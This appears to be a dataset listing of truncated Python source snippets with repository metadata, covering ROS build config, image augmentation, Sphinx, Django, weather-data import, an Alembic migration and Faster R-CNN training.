# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "/home/spacecat/AutonomousFlight/simulation/simulation_ws/src/rotors_simulator/rotors_joy_interface/include".split(';') if "/home/spacecat/AutonomousFlight/simulation/simulation_ws/src/rotors_simulator/...
chickonice/AutonomousFlight
simulation/simulation_ws/build/rotors_simulator/rotors_joy_interface/catkin_generated/pkg.develspace.context.pc.py
Python
gpl-3.0
669
from __future__ import print_function, division, absolute_import from . import imgaug as ia from .parameters import StochasticParameter, Deterministic, Binomial, Choice, DiscreteUniform, Normal, Uniform from abc import ABCMeta, abstractmethod import random import numpy as np import copy as copy_module import re import ...
CKboss/TheBauble
Tensorflow/CNN/ResNet/imgaug/augmenters.py
Python
gpl-3.0
129,266
# Configuration file for the Sphinx documentation builder. # # This file only contains a selection of the most common options. For a full # list see the documentation: # http://www.sphinx-doc.org/en/master/config # -- Path setup -------------------------------------------------------------- # If extensions (or module...
ocordes/pypovray
docs/conf.py
Python
gpl-3.0
1,910
from django.core.mail import send_mail from django.template.loader import render_to_string from wanawana.utils import get_base_url def send_admin_link_on_event_creation(request, event): if not event.admin_email: return email_body = render_to_string("emails/new_event.txt", { "url_scheme": req...
Psycojoker/wanawana
events/emails.py
Python
gpl-3.0
2,656
from django.conf.urls import patterns, url from .views import PostListView, SearchView, AllTagsView, TaggedPostListView, MyPostListView, forum_post, PostDetailView, forum_comment, CommentDetailView urlpatterns = [ # if its a search url(r'^search/', SearchView.as_view(), ...
SafePodOrg/SafePodWeb
safepod_site/forum/urls.py
Python
gpl-3.0
1,468
# # Copyright (c) 2009-2019 Tom Keffer <tkeffer@gmail.com> and # Gary Roderick # # See the file LICENSE.txt for your full rights. # """Module to interact with Cumulus monthly log files and import raw observational data for use with weeimport. """ from __future__ import with_statement f...
weewx/weewx
bin/weeimport/cumulusimport.py
Python
gpl-3.0
20,404
"""revert: add plugin event acl to the admin backend Revision ID: 97e2d9949db Revises: 1e5140290977 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '97e2d9949db' down_revision = '1e5140290977' POLICY_NAME = 'wazo_default_admin_policy' ACL_TEMPLATES = ['events...
wazo-pbx/xivo-auth
alembic/versions/97e2d9949db_revert_add_plugin_event_acl_to_the_.py
Python
gpl-3.0
2,816
#!/usr/bin/env python # -------------------------------------------------------- # Fast R-CNN # Copyright (c) 2015 Microsoft # Licensed under The MIT License [see LICENSE for details] # Written by Ross Girshick # -------------------------------------------------------- """ Train post-hoc SVMs using the algorithm and ...
CivilNet/Gemfield
dockerfiles/py-faster-rcnn/files/gemfield/py-faster-rcnn/tools/train_svms.py
Python
gpl-3.0
13,475